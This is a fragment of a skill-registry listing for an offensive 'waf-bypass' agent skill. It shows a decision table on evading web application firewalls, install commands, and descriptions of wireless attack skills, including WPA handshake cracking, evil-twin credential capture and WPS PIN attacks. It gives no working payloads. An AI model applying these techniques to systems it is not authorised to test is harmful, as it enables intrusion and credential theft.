IP yet | Section 2 obfuscation → section 3 HTTP-level → only then chase origin |\n| Origin IP candidate, response identical to CDN-fronted | Confirm with TLS cert + body hash, then re-run all chained skills directly against origin |\n| All sec-2\u002Fsec-3 attempts blocked, no origin | Pivot — try a different endpoint, subdomain (often un-onboarded), or chain through SSRF\u002Fopen-redirect from another target asset |\n| Rate-limit \u002F anomaly score throttling | Back off, lower QPS, rotate fingerprint, prefer authenticated session |\n| Program forbids WAF bypass research | Stop; report WAF presence + suspected gap to the program without exploitation |\n\n## Cross-references\n\n- WAF fingerprint recon: `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fwaf-detection\u002FSKILL.md`\n- HTTP smuggling (paired parser-discrepancy bypass): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsmuggling\u002FSKILL.md`\n- HTTP Parameter Pollution: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fhpp\u002FSKILL.md`\n- Verb tampering (rule sets keyed on GET\u002FPOST only): `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fverb-tampering\u002FSKILL.md`\n- SQLi tamper \u002F blind: `skills\u002Fstandard\u002Fexploit\u002Fweb\u002Fsqli\u002FSKILL.md`\n- Subdomain takeover (origin pivot via trusted subdomain): `skills\u002Fstandard\u002Frecon\u002Fweb-recon\u002Fsubdomain-takeover\u002FSKILL.md`\n",{"name":5,"metadata":24,"description":7,"allowed-tools":29},{"tags":25,"subdomain":26,"when_to_use":27,"mitre_attack":28},"waf-bypass, evasion, cloudflare, akamai, aws-waf, modsecurity, opsec","execution","WAF bypass, WAF evasion, Cloudflare bypass, Akamai bypass, AWS WAF bypass, ModSecurity bypass, payload obfuscation, origin IP discovery, chunked bypass, content-type bypass","T1027","Bash Read Write","main","42b918525fb79065e730da3da997bffb33fcd414","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fwaf-bypass",0,"https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad","https:\u002F\u002Fgithub.com\u002F7ShIkI3","2026-07-22 19:02:27",{"source":8,"skillName":5,"commands":38,"prompt":48,"zipAvailable":49},[39,42,45],{"tool":40,"command":41},"npx","npx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill waf-bypass",{"tool":43,"command":44},"bunx","bunx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill waf-bypass",{"tool":46,"command":47},"pnpm","pnpm dlx skills add 7ShIkI3\u002FDecepticon-x-DarkTriad --skill waf-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fexploit\u002Fweb\u002Fwaf-bypass\u002FSKILL.md",true,[],[52,59,66,73,80,87],{"skillNo":53,"name":54,"nameZh":6,"description":55,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":56,"categories":57,"keywords":58,"publishedAt":19},"01M798TNHEBA4Y67TJJ7W0KBDD","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":60,"name":61,"nameZh":6,"description":62,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":63,"categories":64,"keywords":65,"publishedAt":19},"01M798TH79VR8XM7AAMG0ZKSXX","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":67,"name":68,"nameZh":6,"description":69,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":70,"categories":71,"keywords":72,"publishedAt":19},"01M798TD0E10ZHQN5X362M4HG9","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":74,"name":75,"nameZh":6,"description":76,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":77,"categories":78,"keywords":79,"publishedAt":19},"01M798T7HFR3NB9WJTK1FESVF9","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":81,"name":82,"nameZh":6,"description":83,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":84,"categories":85,"keywords":86,"publishedAt":19},"01M798T38B4SV0T87VQK56KPHC","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":88,"name":89,"nameZh":6,"description":90,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":19},"01M798SXTNF0RP1DXKQEWFVQ9H","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002F7ShIkI3\u002FDecepticon-x-DarkTriad\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]